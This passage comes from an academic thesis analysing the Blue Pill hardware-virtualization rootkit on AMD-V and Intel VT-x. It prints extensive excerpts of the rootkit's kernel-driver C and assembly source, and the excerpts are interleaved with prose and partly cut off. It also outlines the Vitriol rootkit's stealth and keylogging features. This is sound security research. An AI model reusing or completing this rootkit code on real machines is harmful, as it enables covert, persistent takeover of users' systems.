 MmCreateMapping (MmGetPhysicalAddress ((PVOID) Vmcb->idtr.base), 




Figure 19.  SvmInitGuestState - Part 2 (../svm/svm.c) 
Continued from Figure 18 
 
#if DEBUG_LEVEL>2 
 _KdPrint (("SvmInitGuestState(): GDT base = 0x%p, limit = 0x%X\n", 
Vmcb->gdtr.base, Vmcb->gdtr.limit)); 




 Status = STATUS_SUCCESS; 
 
 Status |= CmInitializeSegmentSelector (&Vmcb->cs, RegGetCs (), 
GuestGdtBase); 
 Status |= CmInitializeSegmentSelector (&Vmcb->ds, RegGetDs (), 
GuestGdtBase); 
 Status |= CmInitializeSegmentSelector (&Vmcb->es, RegGetEs (), 
GuestGdtBase); 
 Status |= CmInitializeSegmentSelector (&Vmcb->ss, RegGetSs (), 
GuestGdtBase); 
 
 if (!NT_SUCCESS (Status)) { 
  _KdPrint (("SvmInitGuestState(): Failed to initialize segment 
selectors\n")); 
  return STATUS_UNSUCCESSFUL; 
 } 
 
 Vmcb->cpl = 0; 
 Vmcb->efer = MsrRead (MSR_EFER); 
 Vmcb->cr0 = RegGetCr0 (); 
 Vmcb->cr2 = RegGetCr2 (); 
 Vmcb->cr3 = RegGetCr3 (); 
 Vmcb->cr4 = RegGetCr4 (); 
 Vmcb->rflags = RegGetRflags (); 
 Vmcb->dr6 = 0; 
 Vmcb->dr7 = 0; 
 Vmcb->rax = 0; 
 
 Vmcb->rip = (ULONG64) GuestRip; 
 Vmcb->rsp = (ULONG64) GuestRsp; 
 
#if DEBUG_LEVEL>1 
 _KdPrint (("SvmInitGuestState(): Guest VMCB: V_INTR = 0x%x\n", Vmcb-
>vintr.UCHARs)); 




 return STATUS_SUCCESS; 
} 
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d. Turn on Flag Enabling Hardware Assisted Virtualization 
The EFER MSR bit 12 controls the SVM mode of the processor and it 
must be set to 1 before any execution of SVM instructions is attempted [26], [45]. 
The SvmEnable routine within svm.c enables the AMD-V capability by setting the 
SVME byte of the EFER MSR to 1 (Figure 20) [26], [28]. 
 
Figure 20.  SvmEnable (../svm/svm.c) 
e. Transfer Execution to the HVM Rootkit Hypervisor 
The last step in the initialization phase is to transfer execution to the newly 
installed and initialized HVM hypervisor. This is also managed by hvm.c through 
Called by SvmInitialize in svm.c 
 
NTSTATUS NTAPI SvmEnable ( 
 PBOOLEAN pAlreadyEnabled 
) 
{ 
 ULONG64 Efer; 
 
 if (!pAlreadyEnabled) 
  return STATUS_INVALID_PARAMETER; 
 
 *pAlreadyEnabled = FALSE; 
 Efer = MsrRead (MSR_EFER); 
 _KdPrint (("SvmEnable(): Current MSR_EFER: 0x%X\n", Efer)); 
 
 if (Efer & EFER_SVME) { 
  *pAlreadyEnabled = TRUE; 
  _KdPrint (("SvmEnable(): SVME bit already set\n")); 
  return STATUS_SUCCESS; 
 } 
 __try { 
  Efer |= EFER_SVME; 
  MsrWrite (MSR_EFER, Efer); 
 } 
 __except (EXCEPTION_EXECUTE_HANDLER) { 
 } 
 
 Efer = MsrRead (MSR_EFER); 
 _KdPrint (("SvmEnable(): MSR_EFER after WRMSR: 0x%X\n", Efer)); 
 
 return (Efer & EFER_SVME) ? STATUS_SUCCESS : STATUS_NOT_SUPPORTED; 
} 
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an indirect call via the ArchIsHvmVirtualize function pointer to SvmVirtualize in 
svm.c (Figure 21). 
 
Figure 21.  SvmVirtualize (../svm/svm.c) 
3. Subversion Phase 
The Subversion Phase begins with the first actions conducted by the HVM 
rootkit hypervisor itself, and continues until hypervisor execution is terminated 
and the target OS is returned to its original state. 
a. Shift the Target OS to VM Guest Mode 
SvmVirtualize calls SvmVmrun which is an assembly language routine in 
svm-asm.asm (Figure 22). With the VMCB already established for each core of 
the CPU and initialized with the state of the OS, shifting of the OS to guest mode 
is done very simply by running the VMRUN instruction with the RAX register as 
its single required operand [26], [28]. The RAX register is a pointer to the 64-bit 
physical address of the VMCB.  At this point, code execution and control flow of 
the guest OS will continue seamlessly and transparently without it ever being 
aware that it has been migrated away from having direct control of hardware to 
within a VM under the control of a hypervisor [39]. 
 
Called by Hvm->ArchVirtualize function pointer in hvm.c 
 
static NTSTATUS NTAPI SvmVirtualize ( 
 PCPU Cpu 
) 
{ 
 if (!Cpu) 
  return STATUS_INVALID_PARAMETER; 
 
 SvmVmrun (Cpu); 
 
 // never returns 
 




Figure 22.  SvmVmrun (../amd64/svm-asm.asm) 




 lea  rsp, [rcx-16*8-5*8] ; backup 14 regs and leave 
space for FASTCALL call 
 mov  rax, [g_PageMapBasePhysicalAddress] 
 mov  cr3, rax 
 mov  rax, [rsp+16*8+5*8+8] ; CPU.Svm.VmcbToContinuePA 
 svm_vmload 
@loop: 
 mov  rax, [rsp+16*8+5*8+8] ; CPU.Svm.VmcbToContinuePA 
 svm_vmrun 
 ; save guest state 
 mov  [rsp+5*8+08h], rcx 
 mov  [rsp+5*8+10h], rdx 
 mov  [rsp+5*8+18h], rbx 
 mov  [rsp+5*8+28h], rbp 
 mov  [rsp+5*8+30h], rsi 
 mov  [rsp+5*8+38h], rdi 
 mov  [rsp+5*8+40h], r8 
 mov  [rsp+5*8+48h], r9 
 mov  [rsp+5*8+50h], r10 
 mov  [rsp+5*8+58h], r11 
 mov  [rsp+5*8+60h], r12 
 mov  [rsp+5*8+68h], r13 
 mov  [rsp+5*8+70h], r14 
 mov  [rsp+5*8+78h], r15 
 lea  rdx, [rsp+5*8]   ; PGUEST_REGS 
 lea  rcx, [rsp+16*8+5*8]  ; PCPU 
 call  HvmEventCallback 
 
 ; restore guest state (HvmEventCallback migth have alternated 
the guest state) 
 mov  rcx, [rsp+5*8+08h] 
 mov  rdx, [rsp+5*8+10h] 
 mov  rbx, [rsp+5*8+18h] 
 mov  rbp, [rsp+5*8+28h] 
 mov  rsi, [rsp+5*8+30h] 
 mov  rdi, [rsp+5*8+38h] 
 mov  r8, [rsp+5*8+40h] 
 mov  r9, [rsp+5*8+48h] 
 mov  r10, [rsp+5*8+50h] 
 mov  r11, [rsp+5*8+58h] 
 mov  r12, [rsp+5*8+60h] 
 mov  r13, [rsp+5*8+68h] 
 mov  r14, [rsp+5*8+70h] 
 mov  r15, [rsp+5*8+78h] 




b. Unload the Hardware Level Driver 
The unloading of the hardware driver is the first step in a chain of events 
which also unloads the Blue Pill hypervisor itself. It is not clear why the source 
code is written in this manner since it would be the goal of an attacker to leave 
the Blue Pill hypervisor running while unloading the hardware level driver within 
the target OS in order to eliminate any avenue of detection. The reason is 
perhaps that this version of the Blue Pill source code was meant for public 
release with the goal of training and not exploitation in mind. If this code were 
weaponized as malware, the hardware level driver would have to be unloaded 
separately while leaving the Blue Pill hypervisor functioning. Additionally, care 
and attention would have to be given to all actions that were done within the OS 
itself prior to subversion. These actions would need to be reversed to prevent 
any forensics trail from being observed. 
The unloading of the hardware level driver is also a simple process of 
manipulating the DriverObject as was done in phase one above. The process is 
initiated from within the guest and passed to the hypervisor via a hypercall. Then 
the Windows routine DriverUnload is called which unloads the DriverObject and 
releases the allocated resources from the Windows I/O manager [43] (Figures 10 
and 23). 
Following the unloading of the DriverObject, HvmSpitOutBluepill begins 
the chain of events which also shifts the OS back to its original state and unloads 
the hypervisor. The original state of the OS was preserved as OriginalVmcb 
during the execution of SvmInitialize in svm.c (Figure 15). HvmSpitOutBluepill 
makes use of several hypercall channels via routines in the hypercalls.c file to 
synchronize actions in the unloading process. Hypercalls are a feature included 
in Blue Pill for debugging and demonstration and would not be present in a real 
world implementation of Blue Pill as a full-fledged HVM rootkit [39]. 
The end result is the guest OS returned to its original state and in full 
control of the hardware once again.  
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Figure 23.  DriverUnload (../common/newbp.c) 
D. BLUE PILL ANALYSIS ON THE INTEL VT-X PLATFORM 
The overall process of HVM rootkit subversion does not significantly 
change from what has been previously shown on the AMD-V platform when 
moved to the Intel VT-x platform; however there are differences in execution 
mechanics which need to be examined. A diagram analogous to Figure 7 and 8 
depicting Blue Pill execution within Intel VT-x should show very little difference in 
the overall high level process. The differences that do exist are necessitated by 
the differences between the AMD-V and Intel VT-x specifications and functional 
implementations of their respective virtualization solutions. It is these differences 
which will be focused on in the following analysis of Blue Pill implementation on 
the Intel VT-x platform. 
Called on Blue Pill deliberate shutdown 
 
NTSTATUS DriverUnload ( 
 PDRIVER_OBJECT DriverObject 
) 
{ 
 //FIXME: do not turn SVM/VMX when it has been turned on by the guest 
in the meantime (e.g. VPC, VMWare) 
 NTSTATUS Status; 
 
 _KdPrint (("\r\n")); 
 _KdPrint (("NEWBLUEPILL: Unloading started\n")); 
 g_bDisableComOutput = TRUE; 
 
 if (!NT_SUCCESS (Status = HvmSpitOutBluepill ())) { 




 g_bDisableComOutput = FALSE; 
 _KdPrint (("NEWBLUEPILL: Unloading finished\n")); 
 
#ifdef USE_LOCAL_DBGPRINTS 
 DbgUnregisterWindow (); 
#endif 
 MmShutdownManager (); 
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1. Infiltration Phase 
As with the original AMD-V Blue Pill version, the Infiltration Phase on the 
Intel VT-x architecture is conducted by using a conventional root exploit. It is 
likely that, for the same OS, the rootkit tools for gaining root level access to the 
OS will be the same regardless of whether the OS is running on an AMD or Intel 
processor. 
a. Gain Root Level Access on the Target System 
This step is conducted in the same manner as in the ADM-V 
implementation and is outside the scope of this thesis.  
b. Load the Hardware Level Driver 
As with the AMD-V implementation, the structure HVM_DEPENDENT in 
common.h is used to abstractly call platform specific functions and control 
different tasks required to virtualize the target system (Figure 9). 
ArchIsHvmImplemented is used to determine the system virtualization status. 
STATUS_SUCCESS is returned if hardware virtualization is present (either AMD-
V or VT-x), and STATUS_NOT_SUPPORTED is returned if neither is present. If 
hardware virtualization is determined to be present for Blue Pill implementation, 
then the rest of the code in newbp.c is executed. The DriverEntry routine is again 
called after the driver is loaded into memory to initialize it within the Windows OS 
by the Windows I/O manager and assign it with ring 0 privileged mode execution 
(Figure 10). 
2. Initialization Phase 
Actions conducted in the Initialization Phase are accomplished by the 
hardware level driver, which was installed by the conventional rootkit in the 
Infiltration Phase. 
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a. Allocate Resources for HVM Rootkit Hypervisor Code and 
Load it into Memory 
As with the AMD-V implementation, Blue Pill code must be initialized on 
each physical processor. HvmSwallowBluepill calls CmDeliverToProcessor 
(Figure 11) to execute the assembly language setup routine CmSubvert to each 
processor core. Figure 24 shows the Intel version of the assembly language 
CmSubvert routine. After performing required register manipulations, CmSubvert 
returns control back to HvmSubvertCpu and hvm.c to continue with individual 
processor HVM rootkit installation where MmAllocatePages is used to allocate 
memory blocks for the GDT, IDT and kernel stack (Figure 13). 
 
Figure 24.  CmSubvert (../i386/common-asm.asm) 
The function pointer ArchIsHvmImplemented is used again to check that 
hardware virtualization is implemented and is used to indirectly call 
VmxIsImplemented in vmx.c.   
VmxIsImplemented includes two calls of the GetCpuIdInfo function which 
uses the CPUID assembly instructions in cpuid.asm (Figure 25). The first 
instance of GetCpuIdInfo checks to ensure that the processor uses the extended 
CPUID instructions and verifies that the processor is an Intel processor. Although 
this was done previously by newbp.c, it must be done again in the context of this 
routine. The second instance of GetCpuIdInfo checks to ensure that the fifth byte 
Called by HvmSwallowBluepill in hvm.c 
 




 mov eax,esp 
 push eax    ;setup esp to argv[0] 





of the ECX register is set correctly to be able to use the Intel VT-x virtualization 
extensions [27].  
 
Figure 25.  VmxIsImplemented (../vmx/vmx.c) 
b. Turn on Flag Enabling Hardware Assisted Virtualization  
This step is done slightly earlier in the overall process when compared to 
the AMD-V Blue Pill implementation. This is because of the different approaches 
that Intel and AMD use in implementing their respective virtualization solutions, 
as well as the different approaches that the different versions of Blue Pill use. 
The AMD-V solution does not contain instructions for VMCB initialization and 
manipulation, whereas the Intel VT-x solution does contain such instructions for 
its VMCS implementation, specifically VMCLEAR, VMPTRLD, VMREAD, and 
VMWRITE (see Appendices A and B). Since these Intel VMX instructions are 
used by Blue Pill in the setup and initialization of the VMCS, the processor must 
be placed in VMX_ROOT mode of operation prior to the next steps occurring. 
This is done via the VMXON instruction. 
Called by Hvm->ArchIsHvmImplemented function pointer in hvm.c 
 
static BOOLEAN NTAPI VmxIsImplemented ( 
) 
{ 
 ULONG32 eax, ebx, ecx, edx; 
 GetCpuIdInfo (0, &eax, &ebx, &ecx, &edx); 
 if (eax < 1) { 
  _KdPrint (("VmxIsImplemented(): Extended CPUID functions not 
implemented\n")); 
  return FALSE; 
 } 
 if (!(ebx == 0x756e6547 && ecx == 0x6c65746e && edx == 0x49656e69)) 
{ 
  _KdPrint (("VmxIsImplemented(): Not an INTEL processor\n")); 
  return FALSE; 
 } 
 //intel cpu use fun_0x1 to test VMX.   
 GetCpuIdInfo (0x1, &eax, &ebx, &ecx, &edx); 
 return (BOOLEAN) (CmIsBitSet (ecx, 5)); 
} 
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VMXON region must be aligned on a 4K boundary in unpaged physical 
memory or the VMXON instruction will fail. These memory blocks are allocated 
by VmxInitialize, which is indirectly called by the ArchInitialize function pointer in 
hvm.c (Figures 26 and 27).  
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Figure 26.  VmxInitialize – Part 1 (../i386/vmx.c) 
Called by Hvm->ArchInitialize function pointer in hvm.c 
 
static NTSTATUS NTAPI VmxInitialize ( 
 PCPU Cpu, 
 PVOID GuestRip, 
 PVOID GuestRsp 
) 
{ 
 PHYSICAL_ADDRESS AlignedVmcsPA; 
 ULONG64 VaDelta; 
 NTSTATUS Status; 
 
#ifndef _X86_ 
 PVOID tmp; 
 tmp = MmAllocateContiguousPages (1, NULL); 
 g_HostStackBaseAddress = (ULONG64) tmp; 
#endif 
 // do not deallocate anything here; MmShutdownManager will take care 
of that 
 //Allocate VMXON region 
 Cpu->Vmx.OriginaVmxonR = MmAllocateContiguousPages 
(VMX_VMXONR_SIZE_IN_PAGES, &Cpu->Vmx.OriginalVmxonRPA); 
 if (!Cpu->Vmx.OriginaVmxonR) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for original 
VMCS\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("VmxInitialize(): OriginaVmxonR VA: 0x%p\n", Cpu-
>Vmx.OriginaVmxonR)); 




 Cpu->Vmx.OriginalVmcs = MmAllocateContiguousPages 
(VMX_VMCS_SIZE_IN_PAGES, &Cpu->Vmx.OriginalVmcsPA); 
 
 if (!Cpu->Vmx.OriginalVmcs) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for original 
VMCS\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("VmxInitialize(): Vmcs VA: 0x%p\n", Cpu-
>Vmx.OriginalVmcs)); 
 _KdPrint (("VmxInitialize(): Vmcs PA: 0x%llx\n", Cpu-
>Vmx.OriginalVmcsPA.QuadPart)); 
 // these two PAs are equal if there're no nested VMs 
 Cpu->Vmx.VmcsToContinuePA = Cpu->Vmx.OriginalVmcsPA; 
 //init IOBitmap and MsrBitmap 




Figure 27.  VmxInitialize – Part 2 (../i386/vmx.c) 
Continued from Figure 26 
 
 if (!Cpu->Vmx.IOBitmapA) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for 
IOBitmapA\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 RtlZeroMemory (Cpu->Vmx.IOBitmapA, PAGE_SIZE); 
 _KdPrint (("VmxInitialize(): IOBitmapA VA: 0x%p\n", Cpu-
>Vmx.IOBitmapA)); 
 _KdPrint (("VmxInitialize(): IOBitmapA PA: 0x%llx\n", Cpu-
>Vmx.IOBitmapAPA.QuadPart)); 
 Cpu->Vmx.IOBitmapB = MmAllocateContiguousPages 
(VMX_IOBitmap_SIZE_IN_PAGES, &Cpu->Vmx.IOBitmapBPA); 
 if (!Cpu->Vmx.IOBitmapB) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for 
IOBitmapB\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 RtlZeroMemory (Cpu->Vmx.IOBitmapB, PAGE_SIZE); 
 _KdPrint (("VmxInitialize(): IOBitmapB VA: 0x%p\n", Cpu-
>Vmx.IOBitmapB)); 
 _KdPrint (("VmxInitialize(): IOBitmapB PA: 0x%llx\n", Cpu-
>Vmx.IOBitmapBPA.QuadPart)); 
 Cpu->Vmx.MSRBitmap = MmAllocateContiguousPages 
(VMX_MSRBitmap_SIZE_IN_PAGES, &Cpu->Vmx.MSRBitmapPA); 
 if (!Cpu->Vmx.MSRBitmap) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for 
MSRBitmap\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 RtlZeroMemory (Cpu->Vmx.MSRBitmap, PAGE_SIZE); 
 _KdPrint (("VmxInitialize(): MSRBitmap VA: 0x%p\n", Cpu-
>Vmx.MSRBitmap)); 
 _KdPrint (("VmxInitialize(): MSRBitmap PA: 0x%llx\n", Cpu-
>Vmx.MSRBitmapPA.QuadPart)); 
 if (!NT_SUCCESS (VmxEnable (Cpu->Vmx.OriginaVmxonR))) { 
  _KdPrint (("VmxInitialize(): Failed to enable Vmx\n")); 
  return STATUS_UNSUCCESSFUL; 
 } 
 *((ULONG64 *) (Cpu->Vmx.OriginalVmcs)) = (MsrRead 
(MSR_IA32_VMX_BASIC) & 0xffffffff); //set up vmcs_revision_id    
 if (!NT_SUCCESS (Status = VmxSetupVMCS (Cpu, GuestRip, GuestRsp))) { 
  _KdPrint (("Vmx(): VmxSetupVMCS() failed with status 0x%08hX\n", 
Status)); 
  VmxDisable (); 
  return Status; 
 } 
 _KdPrint (("VmxInitialize(): Vmx enabled\n")); 
 Cpu->Vmx.GuestEFER = MsrRead (MSR_EFER); 
 _KdPrint (("Guest MSR_EFER Read 0x%llx \n", Cpu->Vmx.GuestEFER)); 
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Before the VMXON instruction can be successfully executed, several 
preconditions must be met. The CR4.VMXE, CR0.NE, CR0.PG and CR0.PE 
control bits must all be set to 1; and the EFLAGS.VM control bit must be set to 0. 
The processor must also not be in A20M# mode [46], [47].  
The VMXON instruction takes a pointer to the physical memory location of 
the VMXON region as its only operand (Figure 28). Successful completion of the 
VMXON instruction in VmxEnable will result in the processor entering 
VMX_ROOT mode of operation [27].  
 
 
Figure 28.  VmxEnable (../i386/vmx.c) 
Called by VmxInitialize in vmx.c 
 
NTSTATUS NTAPI VmxEnable ( 
 PVOID VmxonVA 
) 
{ 
 ULONG64 cr4; 
 ULONG64 vmxmsr; 
 ULONG64 flags; 
 PHYSICAL_ADDRESS VmxonPA; 
 
 set_in_cr4 (X86_CR4_VMXE); 
 cr4 = get_cr4 (); 
 _KdPrint (("VmxEnable(): CR4 after VmxEnable: 0x%llx\n", cr4)); 
 if (!(cr4 & X86_CR4_VMXE)) 
  return STATUS_NOT_SUPPORTED; 
 
 vmxmsr = MsrRead (MSR_IA32_FEATURE_CONTROL); 
 if (!(vmxmsr & 4)) { 
  _KdPrint (("VmxEnable(): VMX is not supported: IA32_FEATURE_CONTROL 
is 0x%llx\n", vmxmsr)); 
  return STATUS_NOT_SUPPORTED; 
 } 
 
 vmxmsr = MsrRead (MSR_IA32_VMX_BASIC); 
 *((ULONG64 *) VmxonVA) = (vmxmsr & 0xffffffff);    //set up 
vmcs_revision_id 
 VmxonPA = MmGetPhysicalAddress (VmxonVA); 
 _KdPrint (("VmxEnable(): VmxonPA: 0x%llx\n", VmxonPA.QuadPart)); 
 VmxTurnOn (MmGetPhysicalAddress (VmxonVA)); 
 flags = RegGetRflags (); 
 _KdPrint (("VmxEnable(): vmcs_revision_id: 0x%x Eflags: 0x%x \n", 
vmxmsr, flags)); 
 return STATUS_SUCCESS; 
} 
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c. Set up the VMCS 
The VMCB and VMCS perform largely the same roles, but their 
implementations differ greatly. The VMCS also has a completely different 
structure than the VMCB. The VMCS is composed of six variable length sections 
including: the guest state area, host state area, VM execution control fields, VM 
exit control fields, VM entry control fields, and VM exit information fields [27]. In 
contrast, the VMCB is composed of two fixed length sections (control area and 
guest state) and must be allocated in a fixed length 4 kilobyte block of physical 
memory [26]. The VMCS is configured by using the VMREAD, VMWRITE, and 
VMCLEAR instructions.  
A different VMCS can be used for each virtual machine that a hypervisor 
supports. Additionally, for a VM with multiple logical processors, a different 
VMCS can be used for each virtual processor [46].  
The VMXON region is not the same as nor is it contained within the VMCS 
region. A VMCS region is created for each virtual processor and is used by the 
hypervisor to support a single VM instance [48].  As is the case with the AMD-V 
VMCB, a VMXON region is created for each physical processor core (or each 
logical processor if more than one thread is supported per core) which is 
assigned by the hypervisor to support VMX virtualization; however, this does not 
translate into the VMXON region supporting the same functionality as the VMCB. 
The VMXON region must be used in conjunction with the VMCS to gain the 
similar functionality of the VMCB. The implementations differ significantly 
between AMD-V and Intel VT-x [41]. 
The VmxInitialize function also allocates the memory regions for the 
various VMCS requirements, including both the original and guest VMCS 
(Figures 26 and 27). VmxSetupVmcs takes the allocated memory blocks and 
populates them with the required data structures. To accomplish this, 
VmxSetupVmcs makes use of the VMWRITE instruction to set up various 
registers, entry and exit controls, and other data fields which are needed to 
support VMX functions. 
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ArchRegisterTraps function pointer in hvm.c indirectly calls 
VmxRegisterTraps in vmxtraps.c (Figure 29). VmxRegisterTraps sets up the trap 
conditions that Blue Pill will intercept and handle while it is in control of the 
system. The minimum set of exit conditions that an Intel VT-x hypervisor must 
trap and handle includes VMCALL, VMCLEAR, VMLAUNCH, VMPTRLD, 
VMPTRST, VMREAD, VMRESUME, VMWRITE, VMXOFF, VMXON, CPUID, 
INVD, and MOV from CR3; whereas an AMD-V hypervisor must trap and handle 
at a minimum only the VMRUN instruction [41]. 
 
Figure 29.  VmxRegisterTraps (../vmx/vmxtraps.c) 
VmxRegisterTraps causes Blue Pill to trap and handle the following 
specific exceptions: 
 (as shown in Figure 29) 
 Instructions:  VMCALL, VMLAUNCH, VMRESUME, VMPTRLD,  
VMPTRST, VMREAD, VMWRITE, VMXON, VMXOFF 
Called by Hvm->ArchRegisterTraps function pointer in hvm.c 
 
NTSTATUS NTAPI VmxRegisterTraps ( 
 PCPU Cpu 
) 
{ 
 NTSTATUS Status; 
 PNBP_TRAP Trap; 
#ifndef VMX_SUPPORT_NESTED_VIRTUALIZATION 
 // used to set dummy handler for all VMX intercepts when we compile 
without nested support 
 ULONG32 i, TableOfVmxExits[] = { 
  EXIT_REASON_VMCALL, 
  EXIT_REASON_VMCALL, 
  EXIT_REASON_VMLAUNCH, 
  EXIT_REASON_VMRESUME, 
  EXIT_REASON_VMPTRLD, 
  EXIT_REASON_VMPTRST, 
  EXIT_REASON_VMREAD, 
  EXIT_REASON_VMWRITE, 
  EXIT_REASON_VMXON, 




 (not shown in Figure 29 but specified elsewhere in vmxtraps.c) 
 Model Specific Registers (MSPs): any access attempt 
 Control Registers (CRs): any access attempt 
 Instructions: CPUID, RDTSC, INVD 
d. Initialize the VMCS with Current State of Target OS 
The VmxSetupVmcs routine also initializes the VMCS guest state area 
with the current state of the guest OS. This includes initializing the previously 
allocated GDT and IDT, registers, and pointers. VmxSetupVmcs makes 
extensive use of the VMWRITE instruction to populate both the original and 
guest VMCS data structures. 
e. Transfer Execution to the HVM Rootkit Hypervisor 
The last step in the initialization phase is to transfer execution to the newly 
installed and initialized HVM hypervisor. This is also managed through an indirect 
call via the ArchIsHvmVirtualize function pointer in hvm.c to VmxVirtualize in 
vmx.c (Figure 30). 
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Figure 30.  VmxVirtualize (../vmx/vmx.c) 
3. Subversion Phase 
The Subversion Phase begins with the first actions conducted by the HVM 
rootkit hypervisor itself, and continues until hypervisor execution is terminated 
and the target OS is returned to its original state. 
Called by Hvm->ArchVirtualize function pointer in hvm.c 
 
static NTSTATUS NTAPI VmxVirtualize ( 
 PCPU Cpu 
) 
{ 
 ULONG64 rsp; 
 if (!Cpu) 
  return STATUS_INVALID_PARAMETER; 
 
 _KdPrint (("VmxVirtualize(): VmxRead: 0x%X \n", VmxRead 
(VM_INSTRUCTION_ERROR))); 
 _KdPrint (("VmxVirtualize(): RFlags before vmxLaunch: 0x%x \n", 
RegGetRflags ())); 
 _KdPrint (("VmxVirtualize(): PCPU: 0x%p \n", Cpu)); 
 rsp = RegGetRsp (); 
 _KdPrint (("VmxVirtualize(): Rsp: 0x%x \n", rsp)); 
 
#ifndef _X86_ 
 *((PULONG64) (g_HostStackBaseAddress + 0x0C00)) = (ULONG64) Cpu; 
#endif 
 
 VmxLaunch (); 
 
 // never returns 
 
 return STATUS_UNSUCCESSFUL; 
} 
 
static BOOLEAN NTAPI VmxIsTrapVaild ( 
 ULONG TrappedVmExit 
) 
{ 
 if (TrappedVmExit > VMX_MAX_GUEST_VMEXIT) 
  return FALSE; 
 return TRUE; 
} 
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a. Shift the Target OS to VM Guest Mode 
VmxVirtualize calls VmxLaunch which is an assembly language routine in 
vmx-asm.asm (Figure 31). With the VMCS already established for each core of 
the CPU and initialized with the state of the OS, shifting of the OS to guest mode 
is done very simply by running the VMLAUNCH instruction designating a VMCB 
whose state is clear (not already launched) [48]. The operand for the 
VMLAUNCH instruction is the current-VMCS pointer, the value of which is the 
64-bit address of the VMCS [27]. As was the case with AMD-V, code execution 
and control flow of the guest OS will continue seamlessly and transparently until 
an exit condition is encountered which will force control back to the Blue Pill 
hypervisor. 
 
Figure 31.  VmxLaunch (../i386/vmx-asm.asm) 
b. Unload the Hardware Level Driver 
There is no difference in the unloading of the hardware level driver under 
the VT-x implementation as opposed to the AMD-V implementation.  
As discussed earlier, the end result of fully executing HvmSpitOutBluepill 
is the guest OS returned to its original state and in full control of the hardware 
once again, and therefore does require some specialized code which is different 
from the AMD-V implementation of Blue Pill.  
E. VITRIOL ANALYSIS 
Source code for Vitriol was never made public, and therefore it is not 
available for analysis as part of this thesis work. However since it is the only 









other known working HVM rootkit, it is useful to note in this thesis what is known 
about it. What is known mostly comes from its introduction session given by Dino 
Dai Zovi from Matasano Security Lab at the 2006 Black Hat conference. 
Vitriol was designed to exploit Apple OS X via a loadable kernel extension. 
Since Apple only uses Intel processors, Vitriol was only designed to exploit the 
Intel VT-x virtualization implementation. There are currently no existing situations 
where OS X runs on an AMD processor. Vitriol uses three main functions to 
detect and initialize VT-x capabilities, migrate the target OS into a guest VM, and 
finally a hypervisor to handle VM exit events. The three main pieces of code 
which perform these functions are: Vmx_init, Vmx_fork and On_vm_exit, 
respectively [40]. Vitriol is considered an ultrathin hypervisor, being composed of 
less than 2000 lines of code [49]. 
Vmx_init is similar in function to Blue Pill’s hvm.c. It detects if Intel 
virtualization hardware is present, installs a hardware driver with kernel mode 
privileges, and then begins the initialization process to prepare the hardware for 
implementation [40]. 
Vmx_fork is similar in function to Blue Pill’s vmx.c. It captures the state of 
the target OS in a VMCS, sets execution parameters and controls within the 
target VMCS, executes the VMLAUNCH instruction and finally unloads the 
hardware level driver [40]. 
On_vm_exit has similarities in function to both Blue Pill’s vmx.c and 
vmxtraps.c, but also has some additional functionality as well. On_vm_exit sets 
up the exit event handler and monitors VM device access. Its additional functions 
include hiding memory blocks, filtering ATAPI packets and recording keystrokes 
[40]. 
F. RESULTS AND COMPARISON OF HVM ROOTKITS 
In order to help answer the thesis problem statement, it must be 
determined whether or not there are commonalities in the attack methodology 
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and execution, and if those commonalities are effective across a wide range of 
systems employing x86 hardware virtualization technology. The results of this 
study can be broken down into two areas: functional and technical. The 
functional results are the high level actions that take place to subvert a system, 
whereas the technical results are the low level “mechanical” actions required to 
perform those high level functions.  
1. Functional Results 
Figures 32 and 33 show the functional division of effort of each of the 
major Blue Pill code segments as well as the processor mode or protection ring 
that each action takes place within. These figures validate the proposed model 
on page 32.  
There are three main files in the Blue Pill rootkit which do the bulk of the 
major muscle movements: newbp.c, hvm.c, and either svm.c or vmx.c, 
depending on the target system virtualization implementation. Of these, svm.c 
and vmx.c contain the code which is unique to either the AMD-V or Intel TV-x 
specification. Newbp.c and hvm.c contain code which is largely common to both 
implementations. When placed into our framework for HVM rootkit behavior, the 
Infiltration Phase is accomplished by newbp.c and hvm.c, where hvm.c 
transitions into the Initialization Phase relying on either svm.c or vmx.c to perform 
platform specific actions, and finally svm.c or vmx.c makes the final jump into the 
Subversion Phase by executing the migration of the target OS using the unique 
requirements of the specific virtualization solution.  
As shown in Figures 32 and 33, the infiltration and subversion phases are 
functionally identical for both AMD and Intel. Only during the latter part of the 
initialization phase do minor functional differences begin to emerge between the 
implementations. It is here that both the specific actions and the order in which 
they are executed play an important role in the exploitation, however both 
implementations in the initialization phase are overall still very similar. It can also 
be argued that these minor differences are technical vice functional in nature. 
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Figure 32.  Functional flowchart of AMD-V implementation of Blue Pill 
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Figure 33.  Functional flowchart of Intel VT-x implementation of Blue Pill 
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2. Technical Results 
The requirement for different versions of code results from the very 
different implementations of AMD-V and Intel VT-x. Both of these specifications 
attempt to provide the same capability, but their methods are not in any way 
compatible. Table 1 shows the key differences between AMD-V and Intel VT-x as 
they pertain to Blue Pill implementation and execution. 
 
Table 1. Comparison of AMD-V and Intel VT-x Blue Pill implementations 
 AMD-V Intel VT-x 
VM data structure VMCB VMCS 
   Scope of control each physical processor core each virtual processor 
   Composition fixed 2564 bytes of a 
continuous non-paged 4 
kilobyte block of physical 
memory immediately after the 
Control Area 
variable length beginning in 
continuous non-paged 4 
kilobyte block of physical 
memory 
Control data structure Control Area  
(part of VMCB) 
VMXON Region  
(separate from VMCS) 
   Scope of control each physical processor core each physical processor core 
(or each logical processor if 
more than one thread is 
supported by the CPU) 
   Composition fixed, first 1024 bytes of a 
continuous non-paged 4 
kilobyte block of physical 
memory 
continuous non-paged 4 
kilobyte block of physical 
memory 
Required hypervisor exit 
handling specified by 
AMD-V and Intel VT-x 
 
VMRUN VMCALL, VMLAUNCH, 
VMRESUME, VMPTRLD, 
VMPTRST, VMREAD, 
VMWRITE, VMXON, VMXOFF, 
CPUID, INVD, MOV from CR3 
Required hypervisor exit 
handling within Blue Pill 
VMRUN, VMLOAD, VMSAVE, 
EFER.SVME, VM_HSAVE_PA, 





VMWRITE, VMXON, VMXOFF, 
